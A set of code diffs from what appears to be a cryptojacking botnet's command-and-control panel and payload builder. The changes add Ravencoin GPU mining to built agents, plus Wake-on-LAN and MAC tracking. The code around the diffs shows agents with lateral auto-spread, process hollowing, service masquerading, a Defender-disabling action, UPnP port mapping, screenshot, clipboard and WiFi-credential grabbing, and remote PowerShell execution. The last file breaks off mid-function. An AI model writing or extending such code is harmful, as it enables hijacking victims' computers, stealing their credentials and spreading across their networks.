// PostAgentWOL sends a Wake-on-LAN magic packet to the agent's MAC address.
// The packet is broadcast on UDP port 9 to the last known subnet.
func (f *FleetHandler) PostAgentWOL(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if id == "" {
http.Error(w, "agent id is required", http.StatusBadRequest)
return
}
// Accept optional override MAC from request body
var req struct {
MAC string `json:"mac"`
}
_ = json.NewDecoder(r.Body).Decode(&req)
// Look up MAC from DB if not provided
mac := req.MAC
if mac == "" {
agent, err := f.db.GetAgent(id)
if err != nil || agent == nil {
writeJSON(w, map[string]interface{}{"success": false, "error": "agent not found"})
return
}
mac = agent.MacAddress
}
if mac == "" {
writeJSON(w, map[string]interface{}{"success": false, "error": "no MAC address on record — provide mac in request body"})
return
}
if err := sendMagicPacket(mac); err != nil {
writeJSON(w, map[string]interface{}{"success": false, "error": err.Error()})
return
}
writeJSON(w, map[string]interface{}{"success": true, "mac": mac})
}
// sendMagicPacket sends a WOL magic packet for the given MAC address.
func sendMagicPacket(macStr string) error {
macStr = strings.ReplaceAll(macStr, "-", ":")
hw, err := net.ParseMAC(macStr)
if err != nil {
return fmt.Errorf("invalid MAC address %q: %w", macStr, err)
}
// Magic packet: 6× 0xFF followed by 16× MAC address (102 bytes total)
pkt := make([]byte, 102)
for i := 0; i < 6; i++ {
pkt[i] = 0xFF
}
for i := 1; i <= 16; i++ {
copy(pkt[i*6:], hw)
}
// Broadcast on limited broadcast address, port 9
addr := &net.UDPAddr{IP: net.IPv4bcast, Port: 9}
conn, err := net.DialUDP("udp4", nil, addr)
if err != nil {
// Try port 7 as fallback
addr.Port = 7
conn, err = net.DialUDP("udp4", nil, addr)
if err != nil {
return fmt.Errorf("failed to open UDP socket: %w", err)
}
}
defer conn.Close()
_, err = conn.Write(pkt)
_ = binary.BigEndian // ensure import is used
return err
}
type agentMetaRequest struct {
Notes string `json:"notes"`
Tags []string `json:"tags"`

View File

@@ -442,6 +442,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/agents/{id}/stats", h.GetAgentStats)
if fleetHandler != nil {
r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand)
r.Post("/agents/{id}/wol", fleetHandler.PostAgentWOL)
r.Get("/agents/{id}/log", fleetHandler.GetAgentLog)
r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta)
r.Delete("/agents/{id}", fleetHandler.DeleteAgent)

View File

@@ -388,10 +388,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"`
ProcessHollowing bool `json:"process_hollowing"`
Platform string `json:"platform"`
Arch string `json:"arch"`
OSVersion string `json:"os_version"`
}
Platform string `json:"platform"`
Arch string `json:"arch"`
OSVersion string `json:"os_version"`
MacAddress string `json:"mac_address,omitempty"`
}
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "invalid auth payload",
@@ -514,6 +515,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
Arch: auth.Arch,
OSVersion: auth.OSVersion,
Hostname: auth.Hostname,
MacAddress: auth.MacAddress,
Capabilities: &caps,
}
@@ -598,6 +600,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
DiskFreePct *int `json:"disk_free_pct,omitempty"`
GPUTempC *int `json:"gpu_temp_c,omitempty"`
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
// GPU / Ravencoin mining
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
GPUHashrate1m float64 `json:"gpu_hashrate_1m,omitempty"`
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
GPUModel string `json:"gpu_model,omitempty"`
// SSH + posture
SSHAvailable *bool `json:"ssh_available,omitempty"`
PostureScore *int `json:"posture_score,omitempty"`
@@ -656,6 +664,15 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if stats.GPUTempC != nil { broadcast["gpu_temp_c"] = *stats.GPUTempC }
if stats.GPUUsagePct != nil { broadcast["gpu_usage_pct"] = *stats.GPUUsagePct }
// GPU / Ravencoin mining stats
if stats.GPUMinerActive != nil {
broadcast["gpu_miner_active"] = *stats.GPUMinerActive
}
if stats.GPUHashrate15s > 0 { broadcast["gpu_hashrate_15s"] = stats.GPUHashrate15s }
if stats.GPUHashrate1m > 0 { broadcast["gpu_hashrate_1m"] = stats.GPUHashrate1m }
if stats.GPUHashrate15m > 0 { broadcast["gpu_hashrate_15m"] = stats.GPUHashrate15m }
if stats.GPUModel != "" { broadcast["gpu_model"] = stats.GPUModel }
// Listen port count
if stats.ListenPortCount != nil {
broadcast["listen_port_count"] = *stats.ListenPortCount

View File

@@ -85,6 +85,15 @@ type BuildRequest struct {
// CancelToken is a client-generated UUID. Pass the same token to
// DELETE /api/v1/builder/cancel/{token} to abort this build mid-compile.
CancelToken string `json:"cancel_token,omitempty"`
// GPU / Ravencoin mining
GPUEnabled bool `json:"gpu_enabled"`
RVNWallet string `json:"rvn_wallet"`
RVNPoolHost string `json:"rvn_pool_host"`
RVNPoolPort int `json:"rvn_pool_port"`
RVNPoolTLS bool `json:"rvn_pool_tls"`
RVNPoolPass string `json:"rvn_pool_pass"`
RVNBackupPools []BackupPool `json:"rvn_backup_pools"`
}
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
@@ -1014,6 +1023,15 @@ func GetBuiltinConfig() BuiltinConfig {
ServiceName: %q,
ServiceDonor: %q,
FleetSecret: %q,
// GPU / Ravencoin mining
GPUEnabled: %v,
RVNWallet: %q,
RVNPoolHost: %q,
RVNPoolPort: %d,
RVNPoolTLS: %v,
RVNPoolPass: %q,
RVNBackupPools: %s,
}
}
`, buildID, time.Now().UTC().Format(time.RFC3339),
@@ -1067,9 +1085,37 @@ func GetBuiltinConfig() BuiltinConfig {
serviceMasqueradeName(buildID, req),
serviceMasqueradeDonor(buildID, req),
h.fleetSecret,
req.GPUEnabled,
req.RVNWallet,
rvnPoolHost(req),
rvnPoolPort(req),
req.RVNPoolTLS,
rvnPoolPass(req),
formatGoBackupPools(req.RVNBackupPools),
)
}
func rvnPoolHost(req *BuildRequest) string {
if req.RVNPoolHost == "" {
return "rvn.2miners.com"
}
return req.RVNPoolHost
}
func rvnPoolPort(req *BuildRequest) int {
if req.RVNPoolPort <= 0 {
return 6060
}
return req.RVNPoolPort
}
func rvnPoolPass(req *BuildRequest) string {
if req.RVNPoolPass == "" {
return "x"
}
return req.RVNPoolPass
}
// formatGoBackupPools emits a Go literal for []config.BackupPool.
func formatGoBackupPools(pools []BackupPool) string {
if len(pools) == 0 {

View File

@@ -40,7 +40,7 @@ func (d *Database) scanAgent(row interface {
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m,
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
&notes, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname,
&notes, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
)
if err != nil {
return nil, err
@@ -52,7 +52,7 @@ func (d *Database) scanAgent(row interface {
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname`
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address`
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)

View File

@@ -125,6 +125,7 @@ func (d *Database) migrate() error {
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN arch TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN hostname TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN mac_address TEXT NOT NULL DEFAULT ''`)
return nil
}
@@ -132,8 +133,8 @@ func (d *Database) migrate() error {
// Agent operations
func (d *Database) UpsertAgent(a *models.Agent) error {
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?)
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET
name = excluded.name,
wallet = excluded.wallet,
@@ -146,8 +147,9 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
platform = excluded.platform,
arch = excluded.arch,
os_version = excluded.os_version,
hostname = excluded.hostname`
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname)
hostname = excluded.hostname,
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END`
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress)
return err
}

View File

@@ -28,10 +28,11 @@ type Agent struct {
Notes string `json:"notes"`
Tags []string `json:"tags"`
Platform string `json:"platform,omitempty"`
Arch string `json:"arch,omitempty"`
OSVersion string `json:"os_version,omitempty"`
Hostname string `json:"hostname,omitempty"`
Platform string `json:"platform,omitempty"`
Arch string `json:"arch,omitempty"`
OSVersion string `json:"os_version,omitempty"`
Hostname string `json:"hostname,omitempty"`
MacAddress string `json:"mac_address,omitempty"`
// Live connection quality — not persisted, set by WSHub each stats cycle.
LatencyMs *int `json:"latency_ms,omitempty"`
@@ -57,6 +58,13 @@ type Agent struct {
GPUTempC *int `json:"gpu_temp_c,omitempty"`
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
// GPU / Ravencoin mining
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
GPUHashrate1m float64 `json:"gpu_hashrate_1m,omitempty"`
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
GPUModel string `json:"gpu_model,omitempty"`
// Crucible — SSH status probed by the agent every ~60s
SSHAvailable *bool `json:"ssh_available,omitempty"`

View File

@@ -149,6 +149,11 @@ export const api = {
method: 'POST',
body: JSON.stringify({ action, ...payload }),
}),
sendWOL: (id: string, mac?: string) =>
fetchJSON<{ success: boolean; error?: string; mac?: string }>(`/agents/${id}/wol`, {
method: 'POST',
body: JSON.stringify(mac ? { mac } : {}),
}),
getAgentLog: (id: string, refresh = false) =>
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),

View File

@@ -128,7 +128,7 @@
.tactical-bottom-row {
display: flex;
gap: 20px;
height: 250px;
height: 380px;
}
.drop-zone {
@@ -172,13 +172,32 @@
white-space: pre-wrap;
}
.terminal-placeholder { color: #555; font-style: italic; }
.terminal-titlebar {
display: flex;
justify-content: space-between;
align-items: center;
padding: 5px 10px;
background: #0a0014;
border-bottom: 1px solid rgba(0,229,255,0.15);
flex-shrink: 0;
}
.terminal-title { font-size: 0.7rem; color: #00e5ff; letter-spacing: 0.06em; font-weight: bold; }
.terminal-clear-btn { background: none; border: 1px solid #333; color: #555; font-size: 0.65rem; padding: 2px 8px; border-radius: 3px; cursor: pointer; }
.terminal-clear-btn:hover { border-color: #888; color: #ccc; }
.terminal-placeholder { color: #555; font-style: italic; padding: 0; }
.log-line.log-ok { color: #00ff88; }
.log-line.log-err { color: #ff4444; }
.log-line.log-live { color: #888; font-size: 0.78rem; border-top: 1px solid rgba(255,255,255,0.03); padding-top: 2px; }
.log-line.log-warn { color: #ffaa00; }
.terminal-input-bar { display: flex; border-top: 1px solid #333; background: #0a0a0a; }
.terminal-input-bar .prompt { color: #ff00ff; padding: 10px; font-weight: bold; }
.terminal-input-bar input { flex: 1; background: transparent; border: none; color: #fff; font-family: inherit; outline: none; }
.terminal-input-bar button { background: #333; border: none; color: #fff; padding: 0 15px; cursor: pointer; font-weight: bold; }
.terminal-input-bar button:hover { background: #00e5ff; color: #000; }
.terminal-input-bar button:disabled { opacity: 0.4; cursor: not-allowed; }
/* Upgrade section */
.upgrade-group { grid-column: 1 / -1; }
@@ -212,4 +231,95 @@
font-size: 0.82rem;
}
.log-line { line-height: 1.45; word-break: break-all; }
.log-line { line-height: 1.45; word-break: break-all; }
/* Offline & busy badges in header */
.offline-badge {
font-size: 0.7rem;
padding: 3px 8px;
background: rgba(255,40,40,0.2);
border: 1px solid rgba(255,40,40,0.5);
border-radius: 4px;
color: #ff6666;
font-weight: bold;
letter-spacing: 0.04em;
}
.busy-badge {
font-size: 0.7rem;
padding: 3px 8px;
background: rgba(255,171,0,0.2);
border: 1px solid rgba(255,171,0,0.4);
border-radius: 4px;
color: #ffcc44;
animation: pulse-amber 1.2s ease-in-out infinite;
}
.offline-dot { background: #555; box-shadow: 0 0 6px #555; }
@keyframes pulse-amber {
0%, 100% { opacity: 1; }
50% { opacity: 0.5; }
}
/* WOL section */
.wol-row { display: flex; flex-direction: column; gap: 0.5rem; }
.wol-toggle {
font-size: 0.8rem;
padding: 6px 12px;
border-radius: 4px;
border: 1px solid rgba(0,229,255,0.3);
background: rgba(0,229,255,0.06);
color: #00e5ff;
cursor: pointer;
transition: all 0.2s;
text-align: left;
}
.wol-toggle:hover { background: rgba(0,229,255,0.12); }
.wol-form {
display: flex;
gap: 0.5rem;
align-items: center;
flex-wrap: wrap;
}
.wol-mac-input {
flex: 1;
min-width: 220px;
background: rgba(0,0,0,0.5);
border: 1px solid rgba(0,229,255,0.25);
border-radius: 4px;
color: #e0e0e0;
padding: 6px 10px;
font-size: 0.82rem;
font-family: 'Consolas', monospace;
outline: none;
}
.wol-mac-input:focus { border-color: #00e5ff; }
.wol-form button { white-space: nowrap; padding: 6px 14px; font-size: 0.8rem; }
/* Compact mode extras */
.compact-offline-banner {
font-size: 0.72rem;
color: #ff6666;
background: rgba(255,40,40,0.1);
border: 1px solid rgba(255,40,40,0.3);
border-radius: 4px;
padding: 3px 8px;
margin-bottom: 6px;
}
.compact-terminal {
margin-top: 6px;
background: #050505;
border: 1px solid #1a1a1a;
border-radius: 4px;
padding: 5px 8px;
font-family: 'Consolas', monospace;
font-size: 0.72rem;
max-height: 80px;
overflow-y: auto;
}
.compact-log-line {
color: #aaa;
line-height: 1.35;
white-space: pre-wrap;
word-break: break-all;
}
.compact-log-line:last-child { color: #e0e0e0; }

View File

@@ -4,6 +4,7 @@ import type { Agent, Build } from '../../types';
import type { SeqCommandResult } from '../../context/WebSocketContext';
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../../help/screenshotDownload';
import { formatHashrate } from '../../help/fleetFilters';
import './AgentRemoteActions.css';
const TERMINAL_MAX_LINES = 500;
@@ -22,6 +23,8 @@ interface Props {
/** @deprecated Pass commandResults instead. */
latestWsMessage?: { type: string; payload: unknown } | null;
onCommandSent?: (action: string) => void;
/** If true, inject a live stats snapshot into the terminal when agent updates */
showLiveStats?: boolean;
}
export default function AgentRemoteActions({
@@ -32,6 +35,7 @@ export default function AgentRemoteActions({
compact = false,
commandResults,
onCommandSent,
showLiveStats = false,
}: Props) {
const agentId = agentIdProp ?? agent?.id ?? '';
const agentName = agentNameProp ?? agent?.name ?? 'Agent';
@@ -43,9 +47,12 @@ export default function AgentRemoteActions({
const [terminalLog, setTerminalLog] = useState<string[]>([]);
const [screenshotData, setScreenshotData] = useState<string | null>(null);
const [busy, setBusy] = useState<string | null>(null);
const [wolMac, setWolMac] = useState('');
const [wolExpanded, setWolExpanded] = useState(false);
// Fleet upgrade
const [builds, setBuilds] = useState<Build[]>([]);
const [selectedBuildId, setSelectedBuildId] = useState<string>('');
const lastStatsRef = useRef<string>('');
useEffect(() => {
api.listBuilds().then(setBuilds).catch(() => setBuilds([]));
}, []);
@@ -77,6 +84,43 @@ export default function AgentRemoteActions({
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [agentId]);
// Pre-fill WOL MAC from agent object when it becomes available
useEffect(() => {
if (agent?.mac_address && !wolMac) {
setWolMac(agent.mac_address);
}
}, [agent?.mac_address]);
// Live stats ticker — appends a concise status line whenever agent data changes.
// Throttled: only fires if the snapshot hash changed AND at least 15s has elapsed.
const lastStatsPushRef = useRef(0);
useEffect(() => {
if (!showLiveStats || !agent || agent.status !== 'online') return;
const snapshot = [
agent.hashrate_15s?.toFixed(0),
agent.cpu_usage_pct?.toFixed(0),
agent.memory_usage_pct?.toFixed(0),
agent.cpu_temp_c,
].join('|');
if (snapshot === lastStatsRef.current) return;
const now = Date.now();
if (now - lastStatsPushRef.current < 15000) return;
lastStatsRef.current = snapshot;
lastStatsPushRef.current = now;
const parts: string[] = [
`XMR ${formatHashrate(agent.hashrate_15s ?? 0)}`,
`CPU ${(agent.cpu_usage_pct ?? 0).toFixed(1)}%`,
`RAM ${(agent.memory_usage_pct ?? 0).toFixed(1)}%`,
];
if (agent.cpu_temp_c != null) parts.push(`Temp ${agent.cpu_temp_c}°C`);
if (agent.gpu_miner_active && agent.gpu_hashrate_15s) {
parts.push(`RVN ${formatHashrate(agent.gpu_hashrate_15s)}`);
}
if (agent.disk_free_pct != null) parts.push(`Disk ${agent.disk_free_pct}% free`);
addLog(`◈ LIVE ${parts.join(' │ ')}`);
}, [agent, showLiveStats, addLog]);
// Process every new commandResults entry we haven't seen yet (M13 — no drops).
// Filters by _seq so the ring-buffer trim never makes us miss results.
useEffect(() => {
@@ -95,52 +139,74 @@ export default function AgentRemoteActions({
const clean = sanitizeScreenshotBase64(message);
if (downloadScreenshotFromBase64(clean, label)) {
setScreenshotData(`data:image/jpeg;base64,${clean}`);
addLog(`Screenshot saved — ${label}`);
addLog(`Screenshot saved — ${label}`);
} else {
addLog(`[SCREENSHOT] ${label}: invalid image data`);
addLog(`[SCREENSHOT] ${label}: invalid image data`);
}
} else {
addLog(`[SCREENSHOT] ${label}: FAIL\n${message ?? ''}`);
addLog(`[SCREENSHOT] ${label}: FAIL\n${message ?? ''}`);
}
} else if (action) {
addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`);
const icon = success ? '' : '✗';
addLog(`${icon} [${action.toUpperCase()}]\n${message ?? ''}`);
}
}
}, [commandResults, agentId, addLog]);
const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
if (!agentId) {
addLog('No agent selected');
addLog('No agent selected');
return;
}
if (agent && !isOnline) {
addLog('Agent is offline');
if (action !== 'wol' && agent && !isOnline) {
addLog(`⚠ Agent "${agentName}" is offline — command not sent`);
return;
}
if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return;
if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return;
if (action === 'reboot_machine' && !window.confirm(`REBOOT "${agentName}" now?\n\nThe machine will immediately restart.`)) return;
if (action === 'shutdown_machine' && !window.confirm(`SHUT DOWN "${agentName}" now?\n\nThe machine will power off and won't come back unless Wake-on-LAN is used.`)) return;
if (action === 'upgrade' && !window.confirm(`Push binary upgrade to "${agentName === 'Agent' ? 'ENTIRE FLEET' : agentName}"?\n\nThe agent will download, replace itself, and restart.`)) return;
if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
// WOL is handled server-side (no agent connection needed)
if (action === 'wol') {
setBusy('wol');
try {
addLog(`◈ Sending Wake-on-LAN to ${agentName} (${args.mac ?? 'stored MAC'})…`);
const res = await api.sendWOL(agentId, args.mac as string | undefined);
if (res.success) {
addLog(`✓ WOL magic packet sent to ${res.mac ?? args.mac ?? 'broadcast'}`);
} else {
addLog(`✗ WOL failed: ${res.error ?? 'unknown error'}`);
}
} catch (err: unknown) {
addLog(`✗ WOL error: ${err instanceof Error ? err.message : 'request failed'}`);
} finally {
setBusy(null);
}
return;
}
setBusy(action);
try {
if (action === 'screenshot') {
addLog(`Capturing desktop on ${agentName}`);
} else if (!compact) {
addLog(`> Executing ${action}...`);
addLog(`Capturing desktop on ${agentName}`);
} else {
addLog(` ${action}${agentId === 'all' ? 'FLEET' : agentName}`);
}
const res = await api.sendAgentCommand(agentId, action, args);
if (res.success === false) {
addLog(`Command rejected: ${res.error ?? 'unknown error'}`);
addLog(`✗ Rejected: ${res.error ?? 'unknown error'}`);
return;
}
if (!compact) addLog(`> ${action} sent to ${agentId === 'all' ? 'fleet' : agentName}`);
if (action !== 'screenshot') addLog(`✓ command queued`);
onCommandSent?.(action);
} catch (err: unknown) {
const msg = err instanceof Error ? err.message : 'Command failed';
addLog(`API Error: ${msg}`);
addLog(` ${msg}`);
} finally {
setBusy(null);
}
@@ -177,13 +243,23 @@ export default function AgentRemoteActions({
if (compact) {
return (
<div className="agent-remote compact" onClick={(e) => e.stopPropagation()}>
{!isOnline && (
<div className="compact-offline-banner"> offline commands disabled</div>
)}
<div className="agent-remote-row">
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')}>Screenshot</button>
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
<button type="button" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Stop</button>
<button type="button" className="agent-action-btn danger" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
<button type="button" aria-label="Screenshot" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')} title="Capture desktop">📷</button>
<button type="button" aria-label="Pause" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')} title="Pause miner"></button>
<button type="button" aria-label="Resume" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')} title="Resume miner"></button>
<button type="button" aria-label="Reboot" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('reboot_machine')} title="Reboot machine"></button>
<button type="button" aria-label="Shutdown" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('shutdown_machine')} title="Shutdown machine"></button>
<button type="button" aria-label="Wake" className="agent-action-btn" disabled={!!busy} onClick={() => dispatch('wol', { mac: agent?.mac_address })} title="Wake on LAN"></button>
<button type="button" aria-label="Stop" className="agent-action-btn danger" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')} title="Kill miner process"></button>
</div>
{terminalLog.length > 0 && (
<div className="compact-terminal">
{terminalLog.slice(-4).map((l, i) => <div key={i} className="compact-log-line">{l}</div>)}
</div>
)}
</div>
);
}
@@ -202,8 +278,12 @@ export default function AgentRemoteActions({
<div className="tactical-panel">
<div className="tactical-header">
<div className="target-indicator">
<div className={`status-dot ${isFleet ? 'fleet-glow' : 'agent-glow'}`} />
<div className={`status-dot ${isFleet ? 'fleet-glow' : isOnline ? 'agent-glow' : 'offline-dot'}`} />
<h2>Target: {isFleet ? 'ENTIRE FLEET' : agentName}</h2>
{!isFleet && !isOnline && (
<span className="offline-badge">OFFLINE commands disabled</span>
)}
{busy && <span className="busy-badge"> {busy}</span>}
</div>
</div>
@@ -235,10 +315,41 @@ export default function AgentRemoteActions({
<div className="action-group power-group">
<h3>System Power</h3>
<div className="button-grid">
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('restart')}>Restart Agent</button>
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Kill Process</button>
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('restart')} title="Restart miner process only">Restart Agent</button>
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('reboot_machine')} title="Full OS reboot">Reboot Machine</button>
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('shutdown_machine')} title="Power off OS">Shutdown Machine</button>
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Kill Miner</button>
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
</div>
<div className="wol-row" style={{ marginTop: '0.75rem' }}>
<button
type="button"
className="btn-cyan wol-toggle"
onClick={() => setWolExpanded((p) => !p)}
title="Send Wake-on-LAN magic packet to power on a sleeping machine"
>
Wake Machine (WOL) {wolExpanded ? '▲' : '▼'}
</button>
{wolExpanded && (
<div className="wol-form">
<input
type="text"
className="wol-mac-input"
placeholder="MAC address e.g. AA:BB:CC:DD:EE:FF"
value={wolMac}
onChange={(e) => setWolMac(e.target.value)}
/>
<button
type="button"
className="btn-cyan"
disabled={!!busy}
onClick={() => dispatch('wol', wolMac ? { mac: wolMac } : {})}
>
{busy === 'wol' ? 'Sending…' : 'Send Packet'}
</button>
</div>
)}
</div>
</div>
<div className="action-group upgrade-group">
@@ -395,11 +506,23 @@ export default function AgentRemoteActions({
</div>
<div className="master-terminal">
<div className="terminal-titlebar">
<span className="terminal-title"> REMOTE TERMINAL {agentId === 'all' ? 'FLEET' : agentName}</span>
<button type="button" className="terminal-clear-btn" onClick={() => setTerminalLog([])}>CLEAR</button>
</div>
<div className="terminal-output">
{terminalLog.length === 0 ? (
<span className="terminal-placeholder">Awaiting telemetry...</span>
<div className="terminal-placeholder">
<div> Terminal ready send a command to see output here</div>
{isOnline && <div style={{ marginTop: '0.4rem', color: '#555' }}>Commands: Process List, System Info, Net Connections, Clipboard, WiFi Creds...</div>}
{!isOnline && <div style={{ marginTop: '0.4rem', color: '#ff4444' }}>Agent offline only WOL is available</div>}
</div>
) : (
terminalLog.map((log, i) => <div key={i} className="log-line">{log}</div>)
terminalLog.map((log, i) => (
<div key={i} className={`log-line ${log.startsWith('✓') ? 'log-ok' : log.startsWith('✗') ? 'log-err' : log.startsWith('◈ LIVE') ? 'log-live' : log.startsWith('⚠') ? 'log-warn' : ''}`}>
{log}
</div>
))
)}
<div ref={logEndRef} />
</div>
@@ -409,11 +532,11 @@ export default function AgentRemoteActions({
type="text"
value={customCmd}
onChange={(e) => setCustomCmd(e.target.value)}
placeholder="Enter PowerShell command..."
placeholder={isOnline ? 'Enter PowerShell command...' : 'Agent offline'}
autoComplete="off"
disabled={!isOnline}
/>
<button type="submit" disabled={!isOnline}>EXEC</button>
<button type="submit" disabled={!isOnline || !!busy}>EXEC</button>
</form>
</div>
</div>

View File

@@ -0,0 +1,178 @@
import { useEffect, useMemo, useState } from 'react';
import type { BackupPool } from '../types';
import {
RVN_POOL_PRESETS,
DEFAULT_RVN_PRESET_IDS,
orderedRVNPoolsFromSelection,
detectRVNPresetIds,
applyRVNPoolsToForgeFields,
type RVNPoolForgeFields,
} from '../help/poolPresets';
import './PoolPresetPicker.css';
interface RVNPoolPresetPickerProps {
host: string;
port: number;
tls: boolean;
pass: string;
backups?: BackupPool[];
onChange: (next: RVNPoolForgeFields) => void;
}
export default function RVNPoolPresetPicker({
host,
port,
tls,
pass,
backups = [],
onChange,
}: RVNPoolPresetPickerProps) {
const [selectedIds, setSelectedIds] = useState<string[]>(() => {
const detected = detectRVNPresetIds(host, port, tls, backups);
return detected.length ? detected : [...DEFAULT_RVN_PRESET_IDS];
});
const [useCustom, setUseCustom] = useState(false);
const [customHost, setCustomHost] = useState('');
const [customPort, setCustomPort] = useState(6060);
const [customTls, setCustomTls] = useState(false);
useEffect(() => {
const detected = detectRVNPresetIds(host, port, tls, backups);
if (detected.length) setSelectedIds(detected);
}, [host, port, tls, backups]);
const orderedPreview = useMemo(() => {
const custom: BackupPool | null = useCustom && customHost.trim()
? { host: customHost.trim(), port: customPort || 6060, tls: customTls, pass: pass || 'x' }
: null;
return orderedRVNPoolsFromSelection(selectedIds, pass || 'x', custom);
}, [selectedIds, pass, useCustom, customHost, customPort, customTls]);
const applySelection = (ids: string[], customOn: boolean, cHost: string, cPort: number, cTls: boolean) => {
const custom: BackupPool | null =
customOn && cHost.trim()
? { host: cHost.trim(), port: cPort || 6060, tls: cTls, pass: pass || 'x' }
: null;
const pools = orderedRVNPoolsFromSelection(ids, pass || 'x', custom);
onChange(applyRVNPoolsToForgeFields(pools));
};
const togglePreset = (id: string) => {
const next = selectedIds.includes(id)
? selectedIds.filter((x) => x !== id)
: [...selectedIds, id];
if (!next.length) return;
setSelectedIds(next);
applySelection(next, useCustom, customHost, customPort, customTls);
};
const grouped = useMemo(() => {
